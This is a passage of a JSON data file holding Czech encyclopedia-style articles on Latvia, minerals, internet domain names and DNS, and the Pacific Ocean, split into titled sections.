masakrech v Rumbule a v Liepāji. Počáteční podporu Němců později zneužívala sovětská propaganda. Součástí Sovětského svazu jako Lotyšská sovětská socialistická republika zůstalo Lotyšsko až do rozpadu Sovětského svazu v roce 1991. Lotyšsko, které bylo mezi světovými válkami zemědělskou velmocí vyvážející potraviny do mnoha zemí Evropy, bylo během sovětské okupace přeorientováno na průmyslovou výrobu a jeho ekonomická samostatnost byla vnímána jako přežitek – země začala být integrována do celého sovětského státu. Nové průmyslové podniky, či modernizované staré (například závod RVR na výrobu lokomotiv), získaly odbytiště v celém Sovětském svazu. Podobně docházelo také k výměně obyvatelstva i kulturních vlivů. Do Lotyšska se začaly stěhovat tisíce lidí z celého Sovětského svazu, hlavně pak Rusů. Naopak Lotyši se začali objevovat v ostatních čtrnácti republikách, tisíce kilometrů od své domoviny. Proto se velmi často také hovoří o rusifikaci Pobaltí. Přestože lotyština zůstala oficiálním jazykem, byla doplněna ruštinou, která měla na úrovni svazu dominantní význam. Po roce 1985 došlo v rámci perestrojky k řadě reforem, jejichž součástí bylo také zajištění ekonomické soběstačnosti jednotlivých republik. To se v Lotyšsku projevilo nárůstem hojnosti spotřebního zboží, kterého byl v Sovětském svazu obecně nedostatek, a nákupní turistikou. Přesto většina obyvatel Lotyšska nevěřila faktické možnosti opuštění SSSR a získání nezávislosti. Tato skutečnost se začala postupně přivádět k životu až v roce 1991. Tehdy se právě Lotyšsko, spolu s dalšími republikami Pobaltí, ke zděšení mnoha obyvatel ostatních republik Sovětského svazu i jeho politického vedení, osamostatnilo mezi prvními. Začal hospodářský růst a integrace s evropskými státy, hlavně pak EU. Do této organizace vstoupila země 1. května 2004, ve stejném roce se také stala členem NATO. Odbourání celních bariér a připojení k jednotnému hospodářskému prostoru se sice ukázalo pro lotyšské hospodářství jako velmi pozitivní krok, země měla po řadu let nejvyšší hospodářský růst v EU, dopadla na ni ale velmi těžce hospodářská krize z přelomu let 2008/2009, kdy se země dostala do velkých potíží a mluvilo se také i o státním bankrotu.", "", "Povrch je většinou rovinatý, nížinný, místy s pahorkatinami. Hlavním a nejvyšším pohořím jsou Vidzemské vrchy. Území Lotyšska bylo modelováno pleistocénním ledovcem. Zůstaly po něm morény a nánosy, které tvoří na západě Kuronskou a na východě Livonskou vrchovinu. Lotyšsko hraničí s Litvou (588 km) na jihu, s Běloruskem (161 km) na jihovýchodě, s Ruskem (246 km) na východě a s Estonskem (343 km) na severu. Celé území státu leží na pevnině, Lotyšsku nepatří v Baltském moři žádný ostrov. Podél mořského pobřeží leží pásmo písečných dun. V Lotyšsku je hustá říční síť, největšími řekami jsou Daugava, Venta a Gauja (národní park Gaujas v jejím povodí je největší v Pobaltí), mnoho jezer, Lubanas a Rāznas a mnoho bažin, které tvoří 10 % rozlohy státu.", "Podnebím Lotyšska patří do chladnějšího mírného pásu, na východě s kontinentálním vlivem. Se zvětšující se vzdáleností od moře se zvyšují i teplotní rozdíly. Průměrná lednová teplota je -5 °C a červencová 17 °C. Průměrný roční úhrn srážek činí 630 mm, v Livonské vrchovině až 800 mm.", "Lotyšsko má jednokomorový parlament (\"Saeima\"), do nějž se každé čtyři roky volí 100 zastupitelů. Parlament na čtyřleté období volí prezidenta republiky, na 4 roky s možností jednoho znovuzvolení. Prezident jmenuje premiéra a jeho vláda se uchází o důvěru parlamentu. Zákonodárná iniciativa náleží vládě, prezidentovi, parlamentní komisi, pěti poslancům či jedné desetině oprávněných voličů. Parlament vyslovuje důvěru vládě, kterou sestavuje premiér navržený prezidentem, parlament může vyjádřit nedůvěru předsedovi vlády (vládě jako celku) nebo jednotlivým ministrům. Prezidentem je Raimonds Vējonis, zvolený v roce 2015, který se úřadu ujal v létě téhož roku. Prvním postsovětským prezidentem byl Guntis Ulmanis (1993–1999), po něm zastávala tento úřad po dvě období Vaira Vīķe-Freiberga (1999–2007) a následoval Valdis Zatlers (2007–2011). V roce 2011 byl prezidentem zvolen Andris Bērziņš. Premiérem je od roku 2016 středový politik a bývalý starosta Valmiery Māris Kučinskis, v posledních letech člen malé regionální strany \"Liepājas partija\" (\"Liepājská strana\"). Každé zasedání vlády je od roku 2013 živě vysíláno na internetu. Starostou hlavního města Rigy, ve kterém tvoří Rusové téměř polovinu obyvatel, je etnický Rus Nils Ušakovs, který je také šéfem nejsilnější ruské politické strany v Lotyšsku \"Centrum harmonie\". V roce 2016 byl Ušakovs pokutován lotyšským Centrem státního jazyka za používání ruského jazyka na oficiální facebookové stránce města Rigy, protože ruština, která je rodnou řečí etnických Rusů, je v Lotyšsku považována za cizí jazyk. 16. března slaví váleční veteráni této země lotyšský den legionářů, nejedná se ale o oficiální státní svátek. Jeho součástí je i tradiční pochod na oslavu lotyšských veteránů z jednotek Waffen-SS, včetně lotyšské divize SS. Lotyšsko je tedy jeden z mála států, které, ač členy EU a NATO, mají otevřeně takovéto, minimálně kontroverzní, tradice. V roce 2014 skončil v lotyšské vládě ministr životního prostředí a místního rozvoje Einars Cilinskis, protože trval na své účasti v tomto pochodu. V řadách jednotek SS bojovalo za války okolo 140 000 Lotyšů. Přibližně stejný počet Lotyšů bojoval proti nacistům v řadách Rudé armády.", "Lotyšsko je průmyslový a zemědělský stát. Hlavní průmyslová odvětví: strojírenství, elektrotechnika, radioelektronika, papírenský, chemický, potravinářský, textilní, dřevozpracující průmysl a průmysl stavebních hmot. Důležitá průmyslová střediska jsou Riga, Daugavpils, Liepāja a Jūrmala. Kromě těžby rašeliny nemá Lotyšsko zdroje nerostných surovin. Spotřeba elektrické energie je z části zajišťována její produkcí v tepelných a vodních elektrárnách a z části jejím dovozem ze zahraničí. Velký přínos financí do státního rozpočtu zaznamenává tranzitní přeprava ruského zboží územím Lotyšska a přes přístavy dále do světa. Město Ventspils je významným přístavem a překladištěm zboží na pobřeží Baltského moře. V zemědělství převládá živočišná produkce. Chov skotu a prasat. Pěstuje se zde ječmen, žito, brambory, cukrová řepa a zelenina. Loví se zde zejména sledi a šproty. Produkce masa, mléčných výrobků a rybích výrobků jako jsou sardinky nebo rybí moučka. Téměř polovinu území státu pokrývají lesy (46 %), orná půda tvoří 27 %, pastviny 13 % a ostatní 14 %. Kvůli velkému počtu lesů a stromů se zde vyskytuje jantar. Před rokem 2008 se země stala příkladem negativních důsledků přehřátí ekonomiky. Rychlý růst HDP a příjmů obyvatelstva vedl k výraznému zvýšení spotřebitelské poptávky, následné inflaci a současně k růstu schodku běžného účtu a zahraničního dluhu. Ekonomika se tak dostala na sestupnou fázi již před globální ekonomickou krizí. Hospodářství stačilo snížit svůj rozpočtový deficit, ale zahraniční dluh zůstal nad sedmdesáti procenty HDP a zmenšil tak prostor pro překonání krize. Od vstupu země do EU v roce 2004 byl lotyšský lat pevně navázána na euro. 1. ledna 2014 Lotyšsko přistoupilo jako 18. člen do eurozóny a přijalo společnou evropskou měnu.", "Podle výsledku sčítání obyvatelstva v roce 2011 je počet obyvatel 2 067 887. Asi 62,1 procent obyvatel Lotyšska jsou etničtí Lotyši. Významná je menšina tvořená Rusy (cca 26,9 %), zhruba polovina z nich však nemá lotyšské občanství, nemůže volit a je pod značným tlakem ze strany úřadů, aby Lotyšsko opustila. Mají status tzv. neobčanů a jsou potomci Rusů, kteří se do Lotyšska přistěhovali po 2. světové válce. Většina z nich to však odmítá a Rusko se k této možnosti také staví odmítavě. Návrh na přiznání statusu oficiálního jazyka pro ruštinu zamítli v únoru 2012 lotyšští občané v referendu. Ruština začala být omezována ve školství a od roku 2020 by se mělo podle plánu lotyšské vlády na všech středních školách v Lotyšsku vyučovat pouze v lotyšštině. Další národnostní menšiny představují Bělorusové, Ukrajinci, Poláci a Litevci. Ve městech žije zhruba 70 % populace, na venkově 30 %. Příznačná je velmi nízká porodnost (1,17 dítěte na matku v roce 2010) a z toho vyplývající rychlý úbytek obyvatelstva. Mezi lety 1989 a 2011 se počet obyvatel snížil o alarmujících 600 tisíc (22,5 %). Na tomto poklesu obyvatelstva se výrazně projevuje také emigrace, přičemž mezi její nejvýznamnější cíle patří Irsko (48 031 Lotyšů k roku 2011) a Velká Británie (39 000 Lotyšů k roku 2011). V zemi neexistuje žádné výrazně dominantní náboženství. Největší zastoupení (čísla se vztahují k roku 2003) mají luteráni (cca 556 000), následují římští katolíci (430 000) a pravoslavní (350 000). Podle sčítání lidu v carském Rusku z roku 1897 na území dnešního Lotyšska žilo 68.3% Lotyšů, 12% Rusů, 7.4% Židů, 6.2% baltských Němců a 3.4% Poláků.", "Zakladatelem moderní lotyšské literatury je Rainis. Aleksandrs Čaks je vnímán jako první „městský“ lotyšský básník. Krišjānis Barons sesbíral stovky lidových písní. Nejvýznamnějším prozaikem je Rūdolfs Blaumanis. Nejpřekládanějším lotyšským autorem všech dob je Vilis Lācis. Nejslavnější spisovatelkou Aspazija. Mezi výtvarnými umělci vynikli sochař Kārlis Zāle, malíř Vilhelms Purvītis a fotograf Philippe Halsman, emigrant do USA. Tam se prosadil i významný představitel abstraktního expresionismu Mark Rothko. Jedním z nejslavnějších baletních tanečníků všech dob se stal rodák z Rigy Michail Baryšnikov. Také legendární filmový režisér Sergej Michajlovič Ejzenštejn se narodil v lotyšském hlavním městě. Klasiky lotyšské hudby jsou Jāzeps Vītols, Alfrēds Kalniņš, Kārlis Baumanis a Emīls Dārziņš. Významnými hudebními skladateli současnosti jsou Raimonds Pauls a Pēteris Vasks. Slavným houslistou a dirigentem byl Gidon Kremer. Jako dirigent získal věhlas rovněž Mariss Jansons. Jako operní pěvkyně se prosadila Elīna Garanča. Elektronický hudebník DJ Lethal (Leors Dimants) proslul svou spoluprací se skupinou Limp Bizkit.", "V Rize se narodil nositel Nobelovy ceny za chemii Wilhelm Ostwald, stejně jako průkopník raketové techniky a kosmonautiky Friedrich Zander. Tzv. Waldenův zvrat objevil chemik Paul Walden. Prestižní Turingovu cenu získal informatik Juris Hartmanis. V sociálních a humanitních vědách vynikl rižský rodák a politický filozof Isaiah Berlin a také sociolingvista Max Weinreich.", "První olympijské zlato pro samostatné Lotyšsko vybojoval gymnasta Igors Vihrovs na olympijských hrách v Sydney roku 2000. Cyklista BMX Māris Štrombergs vybojoval dokonce dvě zlaté olympijské medaile (2008, 2012). Čtvrté zlato do sbírky moderního Lotyšska přidal čtyřbob na olympiádě v Soči roku 2014. I meziválečné Lotyšsko se zúčastňovalo olympijských her. Vůbec první medaili, stříbrnou, přivezl chodec Jānis Daliņš z her v Los Angeles roku 1932. Lotyšská chodecká škola měla dobrý zvuk i později (Adalberts Bubenko, Aigars Fadejevs). Lotyšští sportovci ovšem sbírali medaile i v dresu Sovětského svazu, vyhlášená byla zvláště lotyšská oštěpařská škola – zlato brali oštěpaři Inese Jaunzeme (1956), Elvīra Ozoliņa (1960), Jānis Lūsis (1968) a Dainis Kūla (1980). (V nové éře oštěpařskou pochodeň převzali například Vadims Vasiļevskis, stříbrný z Athén 2004, či Ainārs Kovals, stříbrný z Pekingu 2008). V ostatních disciplínách triumfovali jako reprezentanti SSSR sáňkařka Vera Zozuļa (1980), jachtař Aleksandrs Muzičenko (1980), bobista Jānis Ķipurs (1988), střelec Afanasijs Kuzmins (1988) či kanoista (a později politik) Ivans Klementjevs (1988). Řada Lotyšů se podílela i na sovětských úspěších v kolektivních sportech, například volejbalista Ivans Bugajenkovs má hned dvě zlata (1964, 1968), stejně jako basketbalistka Uljana Semjonovová (1976, 1980). Basketbal má v Lotyšsku velkou tradici; již v roce 1935 lotyšská reprezentace vyhrála mistrovství Evropy, roku 1939 pak získala stříbro. Trojnásobným mistrem Evropy se stal v sovětském dresu Jānis Krūmiņš či Valdis Muižnieks, mistrem světa Valdis Valters. V NBA se prosadil Andris Biedriņš. Klub ASK Rīga třikrát vyhrál euroligu (1958, 1959, 1960). Anete Jēkabsone-Žogotaová byla v roce 2007 vyhlášena nejlepší basketbalistkou Evropy. Mezi nejlepší kluby v Lotyšsku patří BK Ventspils a VEF Rīga. Stejně populární je lední hokej. Dvojnásobným mistrem světa z časů SSSR je hokejový brankář Artūrs Irbe, dokonce trojnásobným pak Helmuts Balderis. Sandis Ozoliņš je vítězem Stanleyova poháru s Colorado Avalanche (1996). Dvanáct sezón v NHL strávil Kārlis Skrastiņš, který 7. září 2011 zahynul při letecké nehodě v Jaroslavli spolu s dalšími 37 týmovými kolegy při letu k prvnímu zápasu sezóny 2011/2012 KHL. Nově se v NHL prosazuje Zemgus Girgensons. Jeden lotyšský klub, Dinamo Riga, hraje KHL. Fotbalová reprezentace dosáhla největšího úspěchu v roce 2004, když se poprvé ve své historii probojovala na závěrečný turnaj mistrovství Evropy. Mairis Briedis je profesionálním mistrem světa v boxu. Tenis ve světových žebříčcích WTA a ITF zastupují především dvě ženy: Anastasia Sevastovová je úřadující jedička (WTA 11). Jeļena Ostapenková v roce 2017 vyhrála pařížský grandslamový turnaj., v roce 2019 klesla na pozici 83. Šachistovi Michailu Talovi se přezdívalo Čaroděj z Rigy. V Rize se narodil i představitel šachové moderny Aaron Nimcovič či šachista Alexej Širov." ] }

{ "title": [ "Látky řazené mezi minerály.", "Dělení (systematika).", "Mineralogické třídění.", "Vlastnosti minerálů.", "Fyzikální vlastnosti.", "Chemické vlastnosti.", "Vznik.", "Primární vznik.", "Endogenní minerály.", "Magmatická tvorba minerálů.", "Exogenní minerály.", "Sekundární vznik.", "Vznik zvětráváním.", "Vznik metamorfózou (přeměnou).", "Vznik chemickým usazováním.", "Biogenní vznik.", "Parageneze.", "Syntetická výroba minerálů.", "Členění nerostů z hlediska hornictví.", "Minerály v biologii a lékařství.", "Minerály v módě, špercích a esoterice." ], "section_level": [ "1", "1", "1", "1", "2", "2", "1", "2", "3", "4", "3", "2", "3", "3", "3", "3", "2", "1", "1", "1", "1" ], "content": [ "Vedle látek přesně splňujících mineralogickou definici v úvodu článku se za minerály považují mimo jiné i: Naopak se za minerály se z mineralogického hlediska nepovažují:", "Dle vzniku Nebo (viz dole kapitola Vznik) Podle obsahu kovů: Podle chemické „složitosti“", "Systematické třídění minerálů lze provést dle různých fyzikálně-chemických kritérií. Systém používaný v vychází z tzv. Strunzova mineralogického systému:", "Minerály mají množství fyzikálních a chemických vlastností, pomocí nichž je lze identifikovat.", "Z fyzikálních vlastností se nejprve zkoumá barva, lesk a vzhled (habitus). Pak se určuje tvrdost, specifická hmotnost – hustota a barva vrypu. Štěpnost a lom bývají převážně dobře viditelné zejména na čerstvém úlomku minerálu. Nejčastěji zjišťované fyzikální vlastnosti minerálů jsou:", "Chemické vlastnosti jsou základem dělení minerálů (viz nahoře). Chemické vlastnosti závisí na chemickém složení a krystalové struktuře. Nejdůležitější chemickou vlastností je samozřejmě samotné chemické složení vyjádřitelné formou vzorce. Při zjišťování chemických vlastností minerálů se zjišťuje, jak se minerály rozpouštějí ve vodě (halit se rozpouští, zlato ne), jak reagují s kyselinami, s roztoky hydroxidu a podobně. Minerály jako platina, zlato, křemen jsou velmi odolné proti působení kyselin či hydroxidů, některé minerály se rozkládají i při vysoké teplotě (například kalcit se rozpadá na oxid vápenatý a oxid uhličitý) Chemické podmínky vzniku minerálů a látkové složení zemského tělesa zkoumá geochemie.", "Minerály mohou vznikat různorodými pochody a za různých podmínek.", "", "Endogenní (vzniklé uvnitř) minerály vznikají díky uvolňování tepelné energie z nitra zeměkoule. Minerály takto vzniklé jsou v širším slova smyslu produkty magmatické činnosti. Horniny a ložiska vznikají krystalizací samotného magmatu. Procesy vzniku minerálů probíhají v různých hloubkách při rozličných, ale převážně vysokých teplotách.", "Na Zemi podléhá všechno neustálým proměnám. I minerály vznikají, rostou a mění se. Většina z nich vznikla a i dnes vzniká uvnitř Země, kde jsou vysoké teploty (přibližně 900–1300° C) a tlak tisíců atmosfér. V těchto hloubkách se nachází oblast žhavé – tekuté silikátové taveniny, kterou nazýváme magmatem. Protože zemská kůra je stále v pohybu (například vznik zlomů, vrásnění), proniká část magmatu do vyšších a chladnějších vrstev zemské kůry, kde postupně tuhne a vytváří masivy hlubinných hornin. Magma je tavenina rozličných křemičitanů a oxidů nasycená plyny a vodní párou. Její složení odpovídá chemickému složení hornin zemské kůry. Rozmanité proudění udržují magma ve stálém pohybu, přičemž se v ní uskutečňují chemické reakce. Tvoří se v ní nové sloučeniny odpovídající nově vytvořeným minerálem. Když pronikne žhavá tekutá magma, která je pod velkým tlakem, do vyšších a chladnějších vrstev zemské kůry, její teplota se snižuje. Během tohoto ochlazování magmatu se tvoří první minerály. S přibývajícím ochlazováním magmatu vzrůstá i počet vznikajících minerálů. Specificky lehčí minerály, které vykrystalizovaly v tomto prvním stadiu, zůstávají ve vyšších vrstvách, zatímco těžší pozvolna klesají. Tento proces nazýváme magmatickou diferenciací. Takto se na některých místech nahromadí určité minerály a vznikají ložiska (např. magnetitu nebo chromitu). Během ochlazování magmatu rostou další krystaly. Vznikají z nepatrných zárodků zákonitým navrstvováním nových stavebních částic. Tento proces končí až po úplném ztuhnutí celé magmatu. V závěrečné fázi krystalizace se v magmatu zvětšuje obsah snadno pohyblivých složek, plynů a vodní páry, čímž se stává řidší. Ve větší vzdálenosti od původního magmatického centra se tvoří tzv. pegmatit. Soustřeďují se v něm minerály, jako např. slídy, turmalín, beryl a jiné, obsahující prvky vzácných zemin, ale i rudy cínu a wolframu. Nakonec ztuhne i tzv. zbytková magma. Část plynů a vodní páry zůstává v horninách a může vytvářet mandlovcovité dutiny (podobně jako zůstávají vzduchové bubliny například v bochníku chleba). Někdy se tyto dutiny později vyplní křemenem, achátem, chalcedonem nebo jinými minerály. Podobné \"mandle\" často nacházíme v melafyrových horninách. Větší část plynů a par uniká přes pukliny a trhliny v hornině k zemskému povrchu. Přitom se původně horké roztoky ochlazují a vznikají z nich nové minerály, které pokrývají stěny puklin v podobě krystalů. V tomto stadiu, které označujeme jako hydrotermální, vznikají nejznámější minerály, jako je např. křemen a kalcit. Když se v roztocích vyskytují prvky těžkých kovů, mohou vznikat různé rudní žíly. Pokud se vylučují určité rudy, jako např. rudy molybdenu, cínu a wolframu, přímo z horkých plynů a par, mluvíme o pneumatolýze, případně o pneumatolytickém vzniku ložisek. Blízko povrchu Země se vodní pára mění na vodu. Voda je stále nasycená minerálními látkami a společně s prosakující povrchovou vodou vyvěrá v podobě minerálního pramene na povrch. Z těchto horkých nebo chladných minerálních pramenů se vylučují další minerály, jako např. vřídlovec (aragonit) nebo gejzírit. Když pronikají horké roztoky a plyny přes trhliny a pukliny v usazených horninách (např. přes vápenec), rozpouštějí je a tak vznikají nové, druhotné minerály. Taková tvorba minerálů se nazývá metasomatóza. Tak vznikly např. některé ložiska magnezitu nebo sideritu (ocelku).", "Exogenní (vzniklé venku), které vznikají při procesech probíhajících díky vnější sluneční energii, která dopadá ve formě záření na zemský povrch. Zdrojem materiálu jsou rozličné horniny a rudy, které se obnažují a rozrušují na povrchu Země. Procesy vzniku minerálů se odehrávají v nejsvrchnější části zemské kůry a to za nízkých teplot a tlaků blízkých k atmosférickým, v podmínkách vzájemného působení fyzikálních a chemických činitelů atmosféry, hydrosféry a biosféry.", "", "Na všechny minerály a horniny na zemském povrchu působí mnohé rušivé vlivy, které souborně označujeme jako zvětrávání. Jde o složitý komplexní jev, ale při jeho posuzování je třeba přihlédnout k hlavním zvětrávacím procesům. Tyto působí pomalu, ale neustále a nezadržitelně. Změnami teploty, trhavými účinky mrazu, krystalizací sekundárních solí, přenosem horninového materiálu větrem či vodou se horniny rozrušují mechanicky, oxidem uhličitým a vodou zase chemicky. Značný rušivý vliv mají i biologické procesy. Zvětrávání způsobuje podstatné proměny minerálů. Například živce se mění na kaolin či jiné jílové minerály, olivín se mění na serpentin a zlatožlutý pyrit přechází na hnědý limonit. Zvětráváním pyritu se může uvolňovat kyselina sírová, která pak působí na okolí. Její účinkem může vznikat např. z vápence sádrovec nebo jiné sírany. Podobnými procesy vzniká i vzácný opál. Zvětráváním se mohou vytvořit z jednoho minerálu, např. chalkopyritu, sekundární minerály jako malachit, azurit nebo limonit. Známé krápníkové jeskyně vznikly také důsledkem zvětrávacích pochodů.", "Jako endogenní i exogenní minerální masy překonávají po svém vzniku za změněných vnějších podmínek různé změny, čímž vlastně vznikají nové minerály. Těmto změnám říkáme metamorfóza. Zvlášť velké změny nastávají při tzv. regionální metamorfóze. Žhavé tekuté magma vystupující z hlubin Země působí i na jednotlivé vrstvy zemské kůry, do nichž proniká. Mění, metamorfuje okolní starší horniny, zejména usazené, buď vysokou teplotou a tlakem, nebo chemickými reakcemi. Usazené horniny přitom nabývají jiný vzhled a jiné fyzikální i chemické vlastnosti. Při těchto procesech se tvoří nové, přeměněné (metamorfované) horniny a minerály. Tak vznikají např. některé slídy, granáty, kyanit, staurolit a jiné.", "Mnohé minerály se usazují přímo v moři buď odpařením vody, nebo změnou její chemického složení. Takto vznikly ložiska kamenné soli nebo sylvínu. Podobně se tvoří sádrovec, vápenec a některé železné rudy (chamozit nebo tzv. bahenní rudy – limonit).", "Živá příroda nepůsobí na minerály (a horniny) jen rušivě. Může vytvářet i nové nerosty z minerálních látek, které jsou rozpuštěny ve vodě. Například atoly a celé vápencové masivy jsou vlastně produktem živočichů. Nové minerály se mohou tvořit i z rozložených zbytků mrtvých organizmů. Jako příklad lze uvést v současnosti vznikající ložiska fosfátů. Biogenním způsobem může vznikat i síra, ledek, pyrit a markazit.", "Jen zřídka se nerost vyskytuje v přírodě samostatně. Téměř vždy ho obklopují další, tzv. doprovodné minerály. Takové nerostné společenství označujeme termínem parageneze. Společný vznik a výskyt nerostů podléhá určitým zákonům. Poznání těchto zákonitosti nám umožňuje poznat pochody vzniku nerostů. Nalezením jednoho minerálu můžeme předpokládat existenci dalších doprovodných minerálů.", "Krystalické látky o přesně známém chemickém složení (které většinou odpovídá nějakému minerálu) se v dnešní době běžně vyrábí synteticky a to za různými účely. Příkladem je kalibrace analytických přístrojů, při které je cenná ta vlastnost syntetického materiálu, že je přesně známého složení a struktury a tedy se dají jeho fyzikální vlastnosti předpovědět pomocí matematického modelování. Jinou aplikací umělé krystalické látky je použití např. diamantu na brusných nebo řezných nástrojích. Přestože syntetické látky nemohou být podle výše uvedené definice minerálem (ten je přírodní), běžně se používají spojení jako syntetický křemen nebo syntetický diamant.", "Česká hornická legislativa chápe nerosty oproti mineralogickému pojetí v širším smyslu a směšuje pod pojmem nerost minerály i horniny. Nerosty se z hlediska hornictví člení na vyhrazené nerosty a nevyhrazené nerosty. Vyhrazenými nerosty jsou podle zákona č. 44/1988 Sb., horního zákona, Ostatní nerosty jsou nerosty nevyhrazené. V pochybnostech, zda některý nerost je nerostem vyhrazeným nebo nevyhrazeným, rozhodne Ministerstvo průmyslu a obchodu v dohodě s Ministerstvem životního prostředí České republiky.", "V biologii a lékařství mají minerály mnohem širší, ale neexaktně vymezený význam. Hovoří-li se o složení organismů, orgánů či buněk, nebo o výživě, pojmem minerál se často zkracuje jakákoli anorganická („minerální“) látka, případně pouze chemický prvek, bez ohledu na to, v jaké fyzikální (molekuly, krystaly, ionty) či chemické formě (čistý prvek, ionty, anorganické sloučeniny, zejména soli apod.) se vyskytuje. V těchto významech se nepoužívá český ekvivalent nerost. Obdobně se pojem minerál používá v souvisejících oborech, jako potravinářství a farmacie (minerální doplňky stravy apod.).", "Lidstvo využívá minerály k ozdobným a rituálním účelům od nepaměti. V pravěku byly minerály využívány k výrobě nástrojů, sošek, jednoduchých šperků a amuletů, které byly vyjádřením moci a ochrany před zlými silami. Od těchto dob se jejich využití příliš nezměnilo. I v současnosti nacházejí minerální kameny své uplatnění jak v módě (náramky z minerálů, náhrdelníky, náušnice, prsteny aj.), tak i ve spirituální rovině, přičemž tyto oblasti propojují. Pro tyto šperkařské účely se používají jak neopracované krystaly (např. v napletených náhrdelnících), tak i minerály opracované do tvarů korálků, oválů, hranolů navlékaných na šňůrkové náramky aj. V esoterice jsou minerálům přisuzovány také léčivé účinky. Např. pestrobarevný achát je považován za nejstarší léčebný kámen vůbec. Ametyst (fialová odrůda křemene) byl využíván už ve starověku jako talisman proti následkům nadměrného pití a u církevních představitelů jako symbol vyjádření duševní síly a mravní čistoty. V mnoha vírách a léčitelstvích se minerálům přikládají nejen léčebné schopnosti (snižování hladiny stresu, zmírňování bolestí hlavy, zlepšení spánku aj.), ale také přivolání dobrých sil a lásky." ] }

{ "title": [ "Syntaxe.", "Význam.", "Domény nejvyššího řádu.", "Doménový alias.", "Systém DNS.", "Informace o registrovaných doménách." ], "section_level": [ "1", "1", "2", "2", "1", "1" ], "content": [ "Doménové jméno je tvořeno posloupností několika částí oddělených tečkami. Části jsou seřazeny podle obecnosti: první část (např. cs) je nejkonkrétnější, může popisovat jeden konkrétní počítač, druhá část (např. org) je nejobecnější, popisuje celou velkou skupinu počítačů a sítí. Poslední část se nazývá doména nejvyššího řádu (\"top-level domain\", \"TLD\") a popisuje rozdělení na země a obecné skupiny organizací (podrobnosti viz samostatný článek). Části jsou také někdy číslovány (opět odzadu), takže např. org je doména 1. úrovně, wikipedia.org je doména 2. úrovně atd. V doménových jménech lze používat pouze malou část znaků kódu ASCII: znaky anglické abecedy, číslice a pomlčku (každá část jména však nesmí končit ani začínat pomlčkou). Jména nejsou citlivá na velikost písmen (www.example.com popisuje stejný počítač jako WWW.Example.CoM) a každá část jména smí být maximálně 63 znaků dlouhá. Délka celého jména může být maximálně 255 (počet částí však není omezen, tzn. platné jméno může být teoreticky složeno ze 127 jednopísmenných částí). V rámci rozšiřování Internetu do zemí, které používají různá písma, se relativně nedávno začal zprovozňovat systém IDN umožňující používání libovolných znaků Unicode v doménových jménech. Z důvodů zpětné kompatibility však nelze jiné znaky přímo používat v rámci dnešního systému, proto se „nestandardní“ znaky před použitím převedou speciálním postupem na posloupnost „běžných“ znaků ve speciálním kódu. Např. doménové jméno www.příklad.example se převede na www.xn--pklad-zsa96e.example. Tento proces je však pro běžného uživatele transparentní, nemusí se o něj starat. Systém IDN již v některých částech světa (např. u německé domény.de) funguje, pro českou doménu.cz se však zatím nepoužívá.", "Prostor doménových jmen tvoří strom. V kořeni tohoto stromu je speciální vyhrazené \"prázdné\" doménové jméno. Pod tímto kořenem jsou uspořádány všechny domény nejvyššího řádu. V další úrovni jsou domény 2. úrovně atd. (Viz obrázek.) Přidělování a správa doménových jmen je stejně tak hierarchická. Např. správce domény wikipedia.org rozhoduje o přidělování domén 3. řádu končících na.wikipedia.org, aniž by musel toto přidělování konzultovat např. se správcem domény org.", "Počet domén první úrovně je omezený (viz seznam) a schvaluje je IANA resp. ICANN. Nachází se mezi nimi:", "Doménový alias znamená, že na tentýž server vede více domén. Dá se tak využívat zároveň například doména mojefirma.cz a mojefirma.com, které odkazují na stejný prostor pro stránky na serveru.", "Samotná komunikace mezi počítači probíhá s využitím tzv. protokolu IP, ve kterém se počítače označují \"číselnými\" adresami (IP adresy). Proto je před zahájením komunikace nutno zjistit, jaká IP adresa odpovídá zadanému doménovému jménu. K tomu slouží síť specializovaných počítačů, které na žádost obsahující doménové jméno zašlou odpověď obsahující příslušnou číselnou adresu (a poskytují i opačnou službu). Systém těchto počítačů se označuje jako DNS (\"Domain Name System\").", "K registrovaným internetovým doménám se uchovávají podrobné informace o jejich provozovatelích. K tomu slouží databáze whois, ze kterých lze tyto informace volně získat pomocí množství nástrojů. Tyto informace lze také využít ke zjištění toho, zda je doména volná či nikoli." ] }

{ "title": [ "Geografie.", "Původ názvu.", "Objev." ], "section_level": [ "1", "1", "1" ], "content": [ "Rozprostírá se od Arktidy na severu po Antarktidu na jihu (např. podle Národní zeměpisné společnosti; podle Mezinárodní hydrografické organizace však sahá pouze k jižní 60. rovnoběžce) a ze stran je ohraničen Asií a Austrálií na západě a Severní a Jižní Amerikou na východě. S celkovou rozlohou 165,25 milionů km2 (resp. 155,6 milionů km2 při uvažování Jižního oceánu) bez okrajových moří zabírá 46 % (43 %) vodních ploch a 32 % (30,5 %) celkového povrchu Země. V nejširším místě v tropech měří přes 20 000 km, což je přibližně polovina obvodu zeměkoule, od severu k jihu jeho délka přesahuje 16 000 km. Rovník oceán rozděluje na Severní pacifický oceán a Jižní pacifický oceán. Marianský příkop, při západní části Severního Pacifiku, je s hloubkou 10 994 metrů nejhlubším místem na Zemi. Nachází se v něm asi 25 000 ostrovů (více než ve všech ostatních oceánech dohromady), většina ostrovů je situována na jih od rovníku. Na západě je lemován prstencem činných sopek – Pacifický ohňový kruh. Pro Tichý oceán jsou typická častá zemětřesení, které mají většinou za důsledek tsunami. V letech 1900 – 2004 bylo zaznamenáno přibližně 800 vln, 17 % u pobřeží Japonska.", "Oba názvy vycházejí z plavby portugalského mořeplavce Fernão de Magalhãese, který při své cestě na Filipíny v roce 1520 zažil v jeho vodách klidnou plavbu. V latině se moře nazývá, „poklidné moře“, odtud název Pacifický, česky Tichý oceán.", "Pro Evropany objevil Tichý oceán Španěl Vasco Nuňez de Balboa (1476-1517), který v roce 1513 překročil Panamskou šíji. Na mapě se Tichý oceán objevil ale již v roce 1507, přestože pro to tehdejší kartografové neměli vůbec žádný důkaz." ] }

